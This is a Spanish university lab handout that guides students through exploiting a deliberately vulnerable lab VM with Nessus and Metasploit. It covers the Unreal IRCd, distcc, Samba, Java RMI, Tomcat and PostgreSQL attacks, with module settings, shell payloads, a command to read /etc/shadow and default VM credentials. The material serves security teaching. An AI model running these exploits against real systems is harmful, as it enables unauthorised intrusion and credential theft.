Módulo 5.2

Redes y Seguridad
Gr. Ing. Informática
J.L. Vázquez Poletti

Objetivo

En este módulo pasaremos a la acción usando como base la información obtenida por herramientas como las usadas en el anterior módulo. Es el momento de aprovechar las vulnerabilidades descubiertas en el sistema objetivo.

Punto de partida

La multinacional EUROCORP sigue con la mejora de la versión 6 de su chip DART, el cual irá implantado de forma exclusiva en sus agentes.
Las pruebas continúan con el objetivo ubicado en la red de EUROCORP. Tras el éxito cosechado en la anterior fase, se ha recibido una comunicación ejecutiva del Consejo de Administración de la multinacional en la que se autoriza la vulneración del objetivo.

- El agente (**RyS-Backtrack**) tendrá la IP 192.168.1.2.
- El objetivo de pruebas (**RyS-Víctima**) tendrá la IP 192.168.1.3.

Obtención de vulnerabilidades

Primero será necesario construir una base de datos de vulnerabilidades. Para ello se usará **Nessus** con una **política de red interna**, tal y como se hizo en el módulo anterior.

- Invocar **Nessus** desde su interfaz web es interesante para acceder a la descripción de las vulnerabilidades.
- Invocar **Nessus** desde **MSF** es más rápido porque al final se recurrirá al arsenal de este último.

IMPORTANTE: Para enlazar la base de datos obtenida, el módulo de **Nessus** debe ser cargado en **MSF**.
Por supuesto, **Nessus** no es la única aplicación que permite obtener información de potenciales vulnerabilidades. **Nmap** puede ser llamado desde **MSF**.

MSF en modo ofensivo

Una vez que la base de datos de vulnerabilidades esté completa, es el momento de pasar a la acción. Para ello habrá que invocar a **MSF** en modo consola (si no se ha hecho ya) y cargar el informe del escaneo de vulnerabilidades.
A continuación se realizarán algunos ataques en base a la información obtenida.

Unreal IRCd Backdoor
Se trata de una puerta trasera que fue introducida en los repositorios de este servidor de IRC.

1. Buscar vulnerabilidades relacionadas con el servicio IRC con **vulns -s**
2. Buscar exploits relacionados usando **show exploits**
3. Indicar con el comando **use** que queremos usar el exploit **exploit/unix/irc/unreal_ircd_3281_backdoor**
4. Mostrar las opciones del exploit con **show options**
5. Indicar el valor de **RHOST** (máquina remota) con **set**. El valor debe ser la dirección IP de la víctima.
6. Lanzar el ataque con el comando **exploit**

Máquinas Virtuales

- RyS-Backtrack (root:toor)
- RyS-Victima (msfadmin:msfadmin)

Más información

Backtrack: http://www.backtrack-linux.org/
Nessus: http://www.tenable.com/products/nessus/
MSF: http://www.metasploit.com/

Después de un tiempo se podrán escribir comandos en la máquina remota. Comprobar que así es y con qué identificador de usuario se realiza.
Una vez terminado, se podrá salir pulsando **CTRL+C** e indicando posteriormente que se desea abandonar la sesión.

DistCC

En esta ocasión se trata de una puerta trasera no intencional, pero con los mismos efectos catastróficos.

1. Buscar un exploit para DistCC
2. Indicar que se quiere usar **exploit/unix/misc/distcc_exec**
3. Visualizar las opciones del exploit
4. Dar un valor a **RHOST**
5. Lanzar el ataque con el comando **exploit**

De ser exitoso el ataque, se obtendrá el mismo resultado que antes.
El procedimiento para salir de la sesión es también el mismo.

SaMBa (Sistema de Ficheros)

El servicio SaMBa permite compartir sistemas de ficheros de Linux/Unix con máquinas Windows siguiendo el estándar de Microsoft. En este ataque consiste en que la víctima comparta el sistema de ficheros raíz para que pueda accederse remotamente y sin ningún tipo de autenticación.

1. Buscar vulnerabilidades del servicio **smb**
2. Listar las herramientas auxiliares con **show auxiliary**
3. Indicar que se desea usar **auxiliary/admin/smb/samba_symlink_traversal**
4. Dar valor a las variables **RHOST** (IP de la víctima) y **SMBSHARE** (debe ser tmp)
5. Lanzar el ataque

En otra terminal:

1. Ejecutar el navegador SaMBa con **smbclient //192.168.1.3/tmp**
2. Cuando pida contraseña limitarse a pulsar **ENTER**
3. Navegar por el sistema de ficheros

SaMBa (Usuarios)

En este ataque se usará SaMBa como si fuera una puerta trasera más.

1. Indicar que se desea usar **exploit/multi/samba/usermap_script**
2. Dar valor a la variable **RHOST**
3. Lanzar el ataque

Java RMI

Se trata de un ataque más elaborado y que aprovecha el mecanismo Remote Method Invocation de Java. Una configuración por defecto permite que se puedan ejecutar clases alojadas en una URL remota.
Primero, se deberá activar el exploit para Java RMI:

1. Indicar que se desea usar **exploit/multi/misc/java_rmi_server**
2. Dar valor a las siguientes variables:

```
set LHOST 192.168.1.2
set RPORT 1099
set LPORT 25882
set SRVPORT 8080
set RHOST 192.168.1.3
```

A continuación, se deberá proporcionar una clase de Java como carga útil:

1. Visualizar las cargas útiles que admite este exploit con **show payloads**

2. Ejecutar **set PAYLOAD java/meterpreter/bind_tcp**
3. Mostrar las opciones y comprobar que ahora aparecen también las de la carga útil.
4. Dar valor a las variables **TARGET** (0) y **SRVHOST** (0.0.0.0)
5. Lanzar el ataque

Una vez realizado el ataque, se entrará en una terminal llamada **Meterpreter**. Ejecutar **help** para ver todos los comandos posibles.
Ejecutar, por ejemplo, **cat /etc/shadow**.

Apache Tomcat

El sistema **MSF** cuenta con una herramienta auxiliar para obtener mediante fuerza credenciales de acceso a este contenedor de aplicaciones.

1. Indicar que se desea usar **scanner/http/tomcat_mgr_login**
2. Mostrar las opciones.
3. Dar valor a las variables **RHOSTS** (IP de la víctima) y **RPORT** (8180)
4. Lanzar el ataque

Una vez identificado un usuario y contraseña válidos, es el momento de pasar a la siguiente fase del ataque.

1. Indicar que se desea usar **multi/http/tomcat_mgr_deploy**
2. Dar valor a la variables **RHOST**, **RPORT**, **USERNAME** y **PASSWORD**
3. Indicar que el **PAYLOAD** es **linux/x86/shell_bind_tcp**
4. Lanzar el ataque

IMPORTANTE: Las especificaciones de las cargas útiles (lenguaje, arquitectura) deben corresponderse a las de la máquina remota, puesto que habitualmente deben ejecutarse en la misma.

PostgreSQL

El ataque a este gestor de base de datos está dividido en dos partes.
La primera parte consiste en hacerse con un usuario válido:

1. Indicar que se desea usar **auxiliary/scanner/postgres/postgres_login**
2. Dar valor a la variable **RHOSTS**
3. Lanzar el ataque con **run**

Una vez que se ha localizado un usuario y una contraseña válidos, es el momento de conectarse, y a ser posible sin salir de **MSF**:

1. Indicar que se desea usar **auxiliary/admin/postgres/postgres_sql**
2. Mostrar las opciones
3. Dar valores a las variables **PASSWORD** y **RHOST**
4. Lanzar el ataque con **run**

Si se modifica el valor de la variable **SQL**, se podrán obtener interesantes resultados dependiendo de la sentencia que se le pase.

Punto de Partida (no, no se trata de un error)

La víctima tiene innumerables agujeros de seguridad, que pueden ser explotados con o sin **MSF**. Los agujeros aprovechados hasta ahora no son más que una pequeña muestra. Por ejemplo, el servidor web está repleto de aplicaciones muy vulnerables.

"… Como agente de EUROCORP dispones de lo último en tecnología de vulneración (Backtrack), acceso al Dataverso (Internet) para obtener información cuando te quedes atascado…"

*"… **¿De cuántas maneras diferentes eres capaz de reventar el objetivo?**"*